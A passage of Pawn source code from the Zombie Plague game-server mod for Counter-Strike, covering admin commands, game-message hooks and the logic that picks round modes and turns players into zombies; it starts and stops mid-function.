						zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
				}
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			}
			case ACTION_MAKE_SURVIVOR: // Survivor command
			{
				if (g_newround ? (userflags & g_access_flag[ACCESS_MODE_SURVIVOR]) : (userflags & g_access_flag[ACCESS_MAKE_SURVIVOR]))
				{
					if (allowed_survivor(playerid))
						command_survivor(id, playerid)
					else
						zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
				}
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			}
			case ACTION_RESPAWN_PLAYER: // Respawn command
			{
				if (userflags & g_access_flag[ACCESS_RESPAWN_PLAYERS])
				{
					if (allowed_respawn(playerid))
						command_respawn(id, playerid)
					else
						zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
				}
				else
					zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT_ACCESS")
			}
		}
	}
	else
		zp_colored_print(id, "^x04[ZP]^x01 %L", id, "CMD_NOT")
	
	menu_destroy(menuid)
	show_menu_player_list(id)
	return PLUGIN_HANDLED;
}

public menu_cs_buy(id, key)
{
	// Prevent buying if zombie/survivor (bugfix)
	if (g_zombie[id] || g_survivor[id])
		return PLUGIN_HANDLED;
	
	return PLUGIN_CONTINUE;
}


//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public cmd_toggle(id, level, cid) {
	// Check for access flag - Enable/Disable Mod
	if (!cmd_access(id, g_access_flag[ACCESS_ENABLE_MOD], cid, 2))
		return PLUGIN_HANDLED;
	
	// Retrieve arguments
	new arg[2]
	read_argv(1, arg, charsmax(arg))
	
	// Mod already enabled/disabled
	if (str_to_num(arg) == g_pluginenabled)
		return PLUGIN_HANDLED;
	
	// Set toggle cvar
	set_pcvar_num(cvar_toggle, str_to_num(arg))
	client_print(id, print_console, "Zombie Plague %L.", id, str_to_num(arg) ? "MOTD_ENABLED" : "MOTD_DISABLED")
	
	// Retrieve map name
	new mapname[32]
	get_mapname(mapname, charsmax(mapname))
	
	// Restart current map
	server_cmd("changelevel %s", mapname)
	
	return PLUGIN_HANDLED;
}

public cmd_zombie(id, level, cid) {
	// Check for access flag depending on the resulting action
	if (g_newround)
	{
		// Start Mode Infection
		if (!cmd_access(id, g_access_flag[ACCESS_MODE_INFECTION], cid, 2))
			return PLUGIN_HANDLED;
	}
	else
	{
		// Make Zombie
		if (!cmd_access(id, g_access_flag[ACCESS_MAKE_ZOMBIE], cid, 2))
			return PLUGIN_HANDLED;
	}
	
	// Retrieve arguments
	static arg[32], player
	read_argv(1, arg, charsmax(arg))
	player = cmd_target(id, arg, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
	
	// Invalid target
	if (!player) return PLUGIN_HANDLED;
	
	// Target not allowed to be zombie
	if (!allowed_zombie(player))
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED
	}
	
	command_zombie(id, player)
	
	return PLUGIN_HANDLED;
}

public cmd_human(id, level, cid) {
	// Check for access flag - Make Human
	if (!cmd_access(id, g_access_flag[ACCESS_MAKE_HUMAN], cid, 2))
		return PLUGIN_HANDLED;
	
	// Retrieve arguments
	static arg[32], player
	read_argv(1, arg, charsmax(arg))
	player = cmd_target(id, arg, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
	
	// Invalid target
	if (!player) return PLUGIN_HANDLED;
	
	// Target not allowed to be human
	if (!allowed_human(player))
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_human(id, player)
	
	return PLUGIN_HANDLED;
}

public cmd_survivor(id, level, cid) {
	// Check for access flag depending on the resulting action
	if (g_newround)
	{
		// Start Mode Survivor
		if (!cmd_access(id, g_access_flag[ACCESS_MODE_SURVIVOR], cid, 2))
			return PLUGIN_HANDLED;
	}
	else
	{
		// Make Survivor
		if (!cmd_access(id, g_access_flag[ACCESS_MAKE_SURVIVOR], cid, 2))
			return PLUGIN_HANDLED;
	}
	
	// Retrieve arguments
	static arg[32], player
	read_argv(1, arg, charsmax(arg))
	player = cmd_target(id, arg, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
	
	// Invalid target
	if (!player) return PLUGIN_HANDLED;
	
	// Target not allowed to be survivor
	if (!allowed_survivor(player))
	{

		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_survivor(id, player)
	
	return PLUGIN_HANDLED;
}

public cmd_nemesis(id, level, cid) {
	// Check for access flag depending on the resulting action
	if (g_newround)
	{
		// Start Mode Nemesis
		if (!cmd_access(id, g_access_flag[ACCESS_MODE_NEMESIS], cid, 2))
			return PLUGIN_HANDLED;
	}
	else
	{
		// Make Nemesis
		if (!cmd_access(id, g_access_flag[ACCESS_MAKE_NEMESIS], cid, 2))
			return PLUGIN_HANDLED;
	}
	
	// Retrieve arguments
	static arg[32], player
	read_argv(1, arg, charsmax(arg))
	player = cmd_target(id, arg, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
	
	// Invalid target
	if (!player) return PLUGIN_HANDLED;
	
	// Target not allowed to be nemesis
	if (!allowed_nemesis(player))
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_nemesis(id, player)
	
	return PLUGIN_HANDLED;
}

public cmd_respawn(id, level, cid) {
	// Check for access flag - Respawn
	if (!cmd_access(id, g_access_flag[ACCESS_RESPAWN_PLAYERS], cid, 2))
		return PLUGIN_HANDLED;
	
	// Retrieve arguments
	static arg[32], player
	read_argv(1, arg, charsmax(arg))
	player = cmd_target(id, arg, CMDTARGET_ALLOW_SELF)
	
	// Invalid target
	if (!player) return PLUGIN_HANDLED;
	
	// Target not allowed to be respawned
	if (!allowed_respawn(player))
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_respawn(id, player)
	
	return PLUGIN_HANDLED;
}

public cmd_swarm(id, level, cid) {
	// Check for access flag - Mode Swarm
	if (!cmd_access(id, g_access_flag[ACCESS_MODE_SWARM], cid, 2))
		return PLUGIN_HANDLED;
	
	// Swarm mode not allowed
	if (!allowed_swarm())
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_swarm(id)
	
	return PLUGIN_HANDLED;
}

public cmd_multi(id, level, cid) {
	// Check for access flag - Mode Multi
	if (!cmd_access(id, g_access_flag[ACCESS_MODE_MULTI], cid, 2))
		return PLUGIN_HANDLED;
	
	// Multi infection mode not allowed
	if (!allowed_multi())
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_multi(id)
	
	return PLUGIN_HANDLED;
}

public cmd_plague(id, level, cid) {
	// Check for access flag - Mode Plague
	if (!cmd_access(id, g_access_flag[ACCESS_MODE_PLAGUE], cid, 2))
		return PLUGIN_HANDLED;
	
	// Plague mode not allowed
	if (!allowed_plague())
	{
		client_print(id, print_console, "[ZP] %L", id, "CMD_NOT")
		return PLUGIN_HANDLED;
	}
	
	command_plague(id)
	
	return PLUGIN_HANDLED;
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public message_cur_weapon(msg_id, msg_dest, msg_entity) {
	if (!g_isalive[msg_entity] || g_zombie[msg_entity])
		return;

	if (get_msg_arg_int(1) != 1)
		return;

	static weapon
	weapon = get_msg_arg_int(2)

	if(g_unlimited_clip[msg_entity] && MAXBPAMMO[weapon] > 2)
	{
		cs_set_weapon_ammo(fm_cs_get_current_weapon_ent(msg_entity), MAXCLIP[weapon])
		
		set_msg_arg_int(3, get_msg_argtype(3), MAXCLIP[weapon])
	}
	
	if (g_survivor[msg_entity] ? get_pcvar_num(cvar_survinfammo) <= 1 : get_pcvar_num(cvar_infammo) <= 1)
		return;
	
	if (MAXBPAMMO[weapon] > 2)
	{
		// Max out clip ammo
		static weapon_ent
		weapon_ent = fm_cs_get_current_weapon_ent(msg_entity)
		if (pev_valid(weapon_ent)) cs_set_weapon_ammo(weapon_ent, MAXCLIP[weapon])
		
		// HUD should show full clip all the time
		set_msg_arg_int(3, get_msg_argtype(3), MAXCLIP[weapon])
	}
}

public message_money(msg_id, msg_dest, msg_entity) {
	// Remove money setting enabled?
	if (!get_pcvar_num(cvar_removemoney))
		return PLUGIN_CONTINUE;
	
	fm_cs_set_user_money(msg_entity, 0)
	return PLUGIN_HANDLED;
}

public message_health(msg_id, msg_dest, msg_entity) {
	// Get player's health
	static health
	health = get_msg_arg_int(1)
	
	// Don't bother
	if (health < 256) return;
	
	// Check if we need to fix it
	if (health % 256 == 0)
		fm_set_user_health(msg_entity, pev(msg_entity, pev_health) + 1)
	
	// HUD can only show as much as 255 hp
	set_msg_arg_int(1, get_msg_argtype(1), 255)
}

public message_flashbat() {
	if (g_cached_customflash)
		return PLUGIN_HANDLED;
	
	return PLUGIN_CONTINUE;
}

public message_screenfade(msg_id, msg_dest, msg_entity) {
	if (get_msg_arg_int(4) != 255 || get_msg_arg_int(5) != 255 || get_msg_arg_int(6) != 255 || get_msg_arg_int(7) < 200)
		return PLUGIN_CONTINUE;
	
	// Nemesis shouldn't be FBed
	if (g_zombie[msg_entity] && !g_nemesis[msg_entity])
	{
		// Set flash color to nighvision's
		set_msg_arg_int(4, get_msg_argtype(4), get_pcvar_num(cvar_nvgcolor[0]))
		set_msg_arg_int(5, get_msg_argtype(5), get_pcvar_num(cvar_nvgcolor[1]))
		set_msg_arg_int(6, get_msg_argtype(6), get_pcvar_num(cvar_nvgcolor[2]))
		return PLUGIN_CONTINUE;
	}
	
	return PLUGIN_HANDLED;
}

public message_nvgtoggle() {
	return PLUGIN_HANDLED;
}

public message_clcorpse() {
	set_msg_arg_string(1, g_playermodel[get_msg_arg_int(12)])
}

public message_weappickup(msg_id, msg_dest, msg_entity) {
	if (g_zombie[msg_entity])
		return PLUGIN_HANDLED;
	
	return PLUGIN_CONTINUE;
}

public message_ammopickup(msg_id, msg_dest, msg_entity) {
	if (g_zombie[msg_entity])
		return PLUGIN_HANDLED;
	
	return PLUGIN_CONTINUE;
}

public message_scenario() {
	if (get_msg_args() > 1)
	{
		static sprite[8]
		get_msg_arg_string(2, sprite, charsmax(sprite))
		
		if (equal(sprite, "hostage"))
			return PLUGIN_HANDLED;
	}
	
	return PLUGIN_CONTINUE;
}

public message_hostagepos() {
	return PLUGIN_HANDLED;
	
}

public message_textmsg() {
	static textmsg[22]
	get_msg_arg_string(2, textmsg, charsmax(textmsg))
	
	// Game restarting, reset scores and call round end to balance the teams
	if (equal(textmsg, "#Game_will_restart_in"))
	{
		g_scorehumans = 0
		g_scorezombies = 0
		logevent_round_end()
	} else if (equal(textmsg, "#Hostages_Not_Rescued") || equal(textmsg, "#Round_Draw") || equal(textmsg, "#Terrorists_Win") || equal(textmsg, "#CTs_Win"))
	{
		return PLUGIN_HANDLED;
	}
	
	return PLUGIN_CONTINUE;
}

public message_sendaudio() {
	static audio[17]
	get_msg_arg_string(2, audio, charsmax(audio))
	
	if(equal(audio[7], "terwin") || equal(audio[7], "ctwin") || equal(audio[7], "rounddraw"))
		return PLUGIN_HANDLED;
	
	return PLUGIN_CONTINUE;
}

public message_teamscore() {
	static team[2]
	get_msg_arg_string(1, team, charsmax(team))
	
	switch (team[0])
	{
		// CT
		case 'C': set_msg_arg_int(2, get_msg_argtype(2), g_scorehumans)
		// Terrorist
		case 'T': set_msg_arg_int(2, get_msg_argtype(2), g_scorezombies)
	}
}

public message_teaminfo(msg_id, msg_dest) {
	if (msg_dest != MSG_ALL && msg_dest != MSG_BROADCAST) return;
	
	if (g_switchingteam) return;
	
	static id
	id = get_msg_arg_int(1)
	
	// Invalid player id? (bugfix)
	if (!(1 <= id <= g_maxplayers)) return;
	
	set_task(0.2, "spec_nvision", id)
	
	if (g_newround) return;
	
	static team[2]
	get_msg_arg_string(2, team, charsmax(team))
	
	switch (team[0])
	{
		case 'C':
		{
			if (g_survround && fnGetHumans()) // survivor alive --> switch to T and spawn as zombie
			{
				g_respawn_as_zombie[id] = true;
				remove_task(id+TASK_TEAM)
				fm_cs_set_user_team(id, FM_CS_TEAM_T)
				set_msg_arg_string(2, "TERRORIST")
			}
			else if (!fnGetZombies()) // no zombies alive --> switch to T and spawn as zombie
			{
				g_respawn_as_zombie[id] = true;
				remove_task(id+TASK_TEAM)
				fm_cs_set_user_team(id, FM_CS_TEAM_T)
				set_msg_arg_string(2, "TERRORIST")
			}
		}
		case 'T': // Terrorist
		{
			if ((g_swarmround || g_survround) && fnGetHumans()) // survivor alive or swarm round w/ humans --> spawn as zombie
			{
				g_respawn_as_zombie[id] = true;
			}
			else if (fnGetZombies()) // zombies alive --> switch to CT
			{
				remove_task(id+TASK_TEAM)
				fm_cs_set_user_team(id, FM_CS_TEAM_CT)
				set_msg_arg_string(2, "CT")
			}
		}
	}
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public make_zombie_task() {

	make_a_zombie(MODE_NONE, 0)
}

make_a_zombie(mode, id) {
	static iPlayersnum
	iPlayersnum = fnGetAlive()
	
	if (iPlayersnum < 1 || Map_ZP_Alien_Boss || Map_ZP_Oberon_Boss || Map_ZP_Oberon_Boss_2  )
	{
		set_task(2.0, "make_zombie_task", TASK_MAKEZOMBIE)
		return;
	}
	
	g_newround = false
	
	static forward_id, sound[64], iZombies, iMaxZombies
	
	if ((mode == MODE_NONE && (!get_pcvar_num(cvar_preventconsecutive) || g_lastmode != MODE_SURVIVOR) && random_num(1, get_pcvar_num(cvar_survchance)) == get_pcvar_num(cvar_surv) && iPlayersnum >= get_pcvar_num(cvar_survminplayers)) || mode == MODE_SURVIVOR)
	{
		g_survround = true
		g_lastmode = MODE_SURVIVOR
		
		if (mode == MODE_NONE)
			id = fnGetRandomAlive(random_num(1, iPlayersnum))
		
		forward_id = id
		
		humanme(id, 1, 0)
		
		for (id = 1; id <= g_maxplayers; id++)
		{
			if (!g_isalive[id])
				continue;
			
			if (g_survivor[id] || g_zombie[id])
				continue;
			
			zombieme(id, 0, 0, 1, 0)
		}
		
		ArrayGetString(sound_survivor, random_num(0, ArraySize(sound_survivor) - 1), sound, charsmax(sound))
		PlaySound(sound);
		
		set_dhudmessage(0, 255, 127, HUD_EVENT_X, HUD_EVENT_Y, 1, 0.0, 5.0, 1.0, 1.0)
		show_dhudmessage(0,"%L", LANG_PLAYER, "NOTICE_SURVIVOR", g_playername[forward_id])
		
		g_modestarted = true
		
		ExecuteForward(g_fwRoundStart, g_fwDummyResult, MODE_SURVIVOR, forward_id);
	}
	else if ((mode == MODE_NONE && (!get_pcvar_num(cvar_preventconsecutive) || g_lastmode != MODE_SWARM) && random_num(1, get_pcvar_num(cvar_swarmchance)) == get_pcvar_num(cvar_swarm) && iPlayersnum >= get_pcvar_num(cvar_swarmminplayers)) || mode == MODE_SWARM)
	{		
		g_swarmround = true
		g_lastmode = MODE_SWARM
		
		if (!fnGetAliveTs())
		{
			id = fnGetRandomAlive(random_num(1, iPlayersnum))
			remove_task(id+TASK_TEAM)
			fm_cs_set_user_team(id, FM_CS_TEAM_T)
			fm_user_team_update(id)
		}
		else if (!fnGetAliveCTs())
		{
			id = fnGetRandomAlive(random_num(1, iPlayersnum))
			remove_task(id+TASK_TEAM)
			fm_cs_set_user_team(id, FM_CS_TEAM_CT)
			fm_user_team_update(id)
		}
		
		for (id = 1; id <= g_maxplayers; id++)
		{
			if (!g_isalive[id])
				continue;
			
			if (fm_cs_get_user_team(id) != FM_CS_TEAM_T)
				continue;
			
			zombieme(id, 0, 0, 1, 0)
		}
		
		ArrayGetString(sound_swarm, random_num(0, ArraySize(sound_swarm) - 1), sound, charsmax(sound))
		PlaySound(sound);
		
		set_dhudmessage(20, 255, 20, HUD_EVENT_X, HUD_EVENT_Y, 1, 0.0, 5.0, 1.0, 1.0)
		show_dhudmessage(0, "%L", LANG_PLAYER, "NOTICE_SWARM")
		
		g_modestarted = true
		
		ExecuteForward(g_fwRoundStart, g_fwDummyResult, MODE_SWARM, 0);
	}
	else if ((mode == MODE_NONE && (!get_pcvar_num(cvar_preventconsecutive) || g_lastmode != MODE_MULTI) && random_num(1, get_pcvar_num(cvar_multichance)) == get_pcvar_num(cvar_multi) && floatround(iPlayersnum*get_pcvar_float(cvar_multiratio), floatround_ceil) >= 2 && floatround(iPlayersnum*get_pcvar_float(cvar_multiratio), floatround_ceil) < iPlayersnum && iPlayersnum >= get_pcvar_num(cvar_multiminplayers)) || mode == MODE_MULTI)
	{
		g_lastmode = MODE_MULTI
		
		iMaxZombies = floatround(iPlayersnum*get_pcvar_float(cvar_multiratio), floatround_ceil)
		iZombies = 0
		
		while (iZombies < iMaxZombies)
		{
			if (++id > g_maxplayers) id = 1
			
			if (!g_isalive[id] || g_zombie[id])
				continue;
			
			if (random_num(0, 1))
			{
				zombieme(id, 0, 0, 1, 0)
				iZombies++
			}
		}
		
		for (id = 1; id <= g_maxplayers; id++)
		{
			if (!g_isalive[id] || g_zombie[id])
				continue;
			
			if (fm_cs_get_user_team(id) != FM_CS_TEAM_CT) // need to change team?
			{
				remove_task(id+TASK_TEAM)
				fm_cs_set_user_team(id, FM_CS_TEAM_CT)
				fm_user_team_update(id)
			}
		}
		
		ArrayGetString(sound_multi, random_num(0, ArraySize(sound_multi) - 1), sound, charsmax(sound))
		PlaySound(sound);
		
		set_dhudmessage(200, 50, 0, HUD_EVENT_X, HUD_EVENT_Y, 1, 0.0, 5.0, 1.0, 1.0)
		show_dhudmessage(0, "%L", LANG_PLAYER, "NOTICE_MULTI")
		
		g_modestarted = true
		
		ExecuteForward(g_fwRoundStart, g_fwDummyResult, MODE_MULTI, 0);
	}
	else if ((mode == MODE_NONE && (!get_pcvar_num(cvar_preventconsecutive) || g_lastmode != MODE_PLAGUE) && random_num(1, get_pcvar_num(cvar_plaguechance)) == get_pcvar_num(cvar_plague) && floatround((iPlayersnum-(get_pcvar_num(cvar_plaguenemnum)+get_pcvar_num(cvar_plaguesurvnum)))*get_pcvar_float(cvar_plagueratio), floatround_ceil) >= 1
	&& iPlayersnum-(get_pcvar_num(cvar_plaguesurvnum)+get_pcvar_num(cvar_plaguenemnum)+floatround((iPlayersnum-(get_pcvar_num(cvar_plaguenemnum)+get_pcvar_num(cvar_plaguesurvnum)))*get_pcvar_float(cvar_plagueratio), floatround_ceil)) >= 1 && iPlayersnum >= get_pcvar_num(cvar_plagueminplayers)) || mode == MODE_PLAGUE)
	{
		g_plagueround = true
		g_lastmode = MODE_PLAGUE
		
		static iSurvivors, iMaxSurvivors
		iMaxSurvivors = get_pcvar_num(cvar_plaguesurvnum)
		iSurvivors = 0
		
		static iNemesis, iMaxNemesis
		iMaxNemesis = get_pcvar_num(cvar_plaguenemnum)
		iNemesis = 0
		
		while (iNemesis < iMaxNemesis)
		{
			id = fnGetRandomAlive(random_num(1, iPlayersnum))
			
			if (g_survivor[id] || g_nemesis[id])
				continue;
			
			zombieme(id, 0, 1, 0, 0)
			iNemesis++
			
			fm_set_user_health(id, floatround(float(pev(id, pev_health)) * get_pcvar_float(cvar_plaguenemhpmulti)))
		}
		
		iMaxZombies = floatround((iPlayersnum-(get_pcvar_num(cvar_plaguenemnum)+get_pcvar_num(cvar_plaguesurvnum)))*get_pcvar_float(cvar_plagueratio), floatround_ceil)
		iZombies = 0
		
		while (iZombies < iMaxZombies)
		{
			if (++id > g_maxplayers) id = 1
			
			if (!g_isalive[id] || g_zombie[id] || g_survivor[id])
				continue;
			
			if (random_num(0, 1))
			{
				zombieme(id, 0, 0, 1, 0)
				iZombies++
			}
		}
		
		while (iSurvivors < iMaxSurvivors)
		{
			id = fnGetRandomAlive(random_num(1, iPlayersnum))
			
			if (g_survivor[id])
				continue;
			
			humanme(id, 1, 0)
			iSurvivors++
			
			fm_set_user_health(id, floatround(float(pev(id, pev_health)) * get_pcvar_float(cvar_plaguesurvhpmulti)))
		}
		
		for (id = 1; id <= g_maxplayers; id++)
		{
			if (!g_isalive[id] || g_zombie[id] || g_survivor[id])
				continue;
			
			if (fm_cs_get_user_team(id) != FM_CS_TEAM_CT) // need to change team?
			{
				remove_task(id+TASK_TEAM)
				fm_cs_set_user_team(id, FM_CS_TEAM_CT)
				fm_user_team_update(id)
			}
		}
		
		ArrayGetString(sound_plague, random_num(0, ArraySize(sound_plague) - 1), sound, charsmax(sound))
		PlaySound(sound);
		
		set_dhudmessage(0, 50, 200, HUD_EVENT_X, HUD_EVENT_Y, 1, 0.0, 5.0, 1.0, 1.0)
		show_dhudmessage(0, "%L", LANG_PLAYER, "NOTICE_PLAGUE")

		g_modestarted = true

		ExecuteForward(g_fwRoundStart, g_fwDummyResult, MODE_PLAGUE, 0);
	}
	else
	{
		
		if (mode == MODE_NONE)
			id = fnGetRandomAlive(random_num(1, iPlayersnum))
		
		forward_id = id
		
		if ((mode == MODE_NONE && (!get_pcvar_num(cvar_preventconsecutive) || g_lastmode != MODE_NEMESIS) && random_num(1, get_pcvar_num(cvar_nemchance)) == get_pcvar_num(cvar_nem) && iPlayersnum >= get_pcvar_num(cvar_nemminplayers)) || mode == MODE_NEMESIS)
		{
			g_nemround = true
			g_lastmode = MODE_NEMESIS
			
			zombieme(id, 0, 1, 0, 0)
		}
		else
		{
			g_lastmode = MODE_INFECTION
			
			zombieme(id, 0, 0, 0, 0)
		}
		
		for (id = 1; id <= g_maxplayers; id++)
		{
			if (!g_isalive[id])
				continue;
			
			if (g_zombie[id])
				continue;
			
			if (fm_cs_get_user_team(id) != FM_CS_TEAM_CT) // need to change team?
			{
				remove_task(id+TASK_TEAM)
				fm_cs_set_user_team(id, FM_CS_TEAM_CT)
				fm_user_team_update(id)
			}
		}
		
		if (g_nemround)
		{
			ArrayGetString(sound_nemesis, random_num(0, ArraySize(sound_nemesis) - 1), sound, charsmax(sound))
			PlaySound(sound);
			
			set_dhudmessage(255, 20, 20, HUD_EVENT_X, HUD_EVENT_Y, 1, 0.0, 5.0, 1.0, 1.0)
			show_dhudmessage(0, "%L", LANG_PLAYER, "NOTICE_NEMESIS", g_playername[forward_id])
			
			g_modestarted = true
			
			ExecuteForward(g_fwRoundStart, g_fwDummyResult, MODE_NEMESIS, forward_id);
		}
		else
		{
			set_dhudmessage(255, 0, 0, HUD_EVENT_X, HUD_EVENT_Y, 0, 0.0, 5.0, 1.0, 1.0)
			show_dhudmessage(0, "%L",LANG_PLAYER, "NOTICE_FIRST", g_playername[forward_id])
			
			g_modestarted = true
			
			ExecuteForward(g_fwRoundStart, g_fwDummyResult, MODE_INFECTION, forward_id);
		}
	}
	
	if ((g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS] && g_nemround) || (g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR] && g_survround) || (g_ambience_sounds[AMBIENCE_SOUNDS_SWARM] && g_swarmround) || (g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE] && g_plagueround) || (g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION] && !g_nemround && !g_survround && !g_swarmround && !g_plagueround))
	{
		remove_task(TASK_AMBIENCESOUNDS)
		set_task(2.0, "ambience_sound_effects", TASK_AMBIENCESOUNDS)
	}
}

zombieme(id, infector, nemesis, silentmode, rewards) {
	ExecuteForward(g_fwUserInfect_attempt, g_fwDummyResult, id, infector, nemesis)
	
	// One or more plugins blocked the infection. Only allow this after making sure it's
	// not going to leave us with no zombies. Take into account a last player leaving case.
	// BUGFIX: only allow after a mode has started, to prevent blocking first zombie e.g.
	if (g_fwDummyResult >= ZP_PLUGIN_HANDLED && g_modestarted && fnGetZombies() > g_lastplayerleaving)
		return;

	if (g_is_saw[id])
	{
		if(check_drop_flag(DROPFLAG_INFECTED))
			drop_chainsaw(id);
		else
		{
			g_is_saw[id] = false;
			reset_user_knife(id);
		}
	}
	
	ExecuteForward(g_fwUserInfected_pre, g_fwDummyResult, id, infector, nemesis)
	
	//if (g_zombieclassnext[id] == ZCLASS_NONE && get_pcvar_num(cvar_zclasses))
	//	set_task(0.2, "show_menu_zclass", id)
	
	g_zombieclass[id] = g_zombieclassnext[id]
	if (g_zombieclass[id] == ZCLASS_NONE) g_zombieclass[id] = 0
	
	g_zombie[id] = true
	g_nemesis[id] = false
	g_survivor[id] = false
	g_firstzombie[id] = false
	
	set_pev(id, pev_effects, pev(id, pev_effects) &~ EF_BRIGHTLIGHT)
	
	g_nodamage[id] = false
	set_pev(id, pev_effects, pev(id, pev_effects) &~ EF_NODRAW)
	
	g_burning_duration[id] = 0
	
	if (rewards && infector)
	{
		SendDeathMsg(infector, id)
		FixDeadAttrib(id)
		
		UpdateFrags(infector, id, get_pcvar_num(cvar_fragsinfect), 1, 1)
		g_ammopacks[infector] += get_pcvar_num(cvar_ammoinfect)
		fm_set_user_health(infector, pev(infector, pev_health) + get_pcvar_num(cvar_zombiebonushp))
	}
	
	g_zombie_spd[id] = float(ArrayGetCell(g_zclass_spd, g_zombieclass[id]))
	g_zombie_knockback[id] = Float:ArrayGetCell(g_zclass_kb, g_zombieclass[id])
	ArrayGetString(g_zclass_name, g_zombieclass[id], g_zombie_classname[id], charsmax(g_zombie_classname[]))
	
	static sound[64];
	new cid = g_zombieclass[id];
	if (!silentmode)
	{
		if (nemesis)
		{
			g_nemesis[id] = true
			
			if (get_pcvar_num(cvar_nemhp) == 0)
			{
				if (get_pcvar_num(cvar_nembasehp) == 0)
					fm_set_user_health(id, ArrayGetCell(g_zclass_hp, 0) * fnGetAlive())
				else
					fm_set_user_health(id, get_pcvar_num(cvar_nembasehp) * fnGetAlive())
			}
			else
				fm_set_user_health(id, get_pcvar_num(cvar_nemhp))
			
			// Set gravity, if frozen set the restore gravity value instead
			if (!g_frozen[id]) set_pev(id, pev_gravity, get_pcvar_float(cvar_nemgravity))
			else g_frozen_gravity[id] = get_pcvar_float(cvar_nemgravity)
			
			// Set nemesis maxspeed
			set_player_maxspeed(id)
		}
		else if (fnGetZombies() == 1)
		{
			g_firstzombie[id] = true

			fm_set_user_health(id, floatround(float(ArrayGetCell(g_zclass_hp, g_zombieclass[id])) + get_pcvar_num(cvar_zombiefirsthp) * fnGetAlive()))
			
			// Set gravity, if frozen set the restore gravity value instead
			if (!g_frozen[id]) set_pev(id, pev_gravity, Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id]))
			else g_frozen_gravity[id] = Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id])
			
			// Set zombie maxspeed
			set_player_maxspeed(id)
			
			// Infection sound
			if(ArraySize(Array:ArrayGetCell(zombie_infect_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_infect_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_infect_c, cid)) - 1), sound, charsmax(sound));
				emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			} else
			{
				ArrayGetString(zombie_infect, random_num(0, ArraySize(zombie_infect) - 1), sound, charsmax(sound));
				emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			}
			
			if(ArraySize(Array:ArrayGetCell(zombie_infect_adv, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_infect_adv, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_infect_adv, cid)) - 1), sound, charsmax(sound));
				emit_sound(id, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			}
		}
		else
		{
			fm_set_user_health(id, ArrayGetCell(g_zclass_hp, g_zombieclass[id]))
			
			// Set gravity, if frozen set the restore gravity value instead
			if (!g_frozen[id]) set_pev(id, pev_gravity, Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id]))
			else g_frozen_gravity[id] = Float:ArrayGetCell(g_zclass_grav, g_zombieclass[id])
			
			// Set zombie maxspeed
			set_player_maxspeed(id)
			
			// Infection sound
			if(ArraySize(Array:ArrayGetCell(zombie_infect_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_infect_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_infect_c, cid)) - 1), sound, charsmax(sound))
				emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			} else
			{
				ArrayGetString(zombie_infect, random_num(0, ArraySize(zombie_infect) - 1), sound, charsmax(sound))
				emit_sound(id, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			}
			
			if(ArraySize(Array:ArrayGetCell(zombie_infect_adv, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_infect_adv, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_infect_adv, cid)) - 1), sound, charsmax(sound))
				emit_sound(id, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			}
			
			set_hudmessage(255, 0, 0, HUD_INFECT_X, HUD_INFECT_Y, 0, 0.0, 5.0, 1.0, 1.0, -1)
			
			if (infector) // infected by someone?
				ShowSyncHudMsg(0, g_MsgSync, "%L", LANG_PLAYER, "NOTICE_INFECT", g_playername[id], g_playername[infector])
			else
				ShowSyncHudMsg(0, g_MsgSync, "%L", LANG_PLAYER, "NOTICE_INFECT", g_playername[id])
		}
	}
	else
	{
		fm_set_user_health(id, ArrayGetCell(g_zclass_hp, g_zombieclass[id]))
		
		// Set gravity, if frozen set the restore gravity value instead
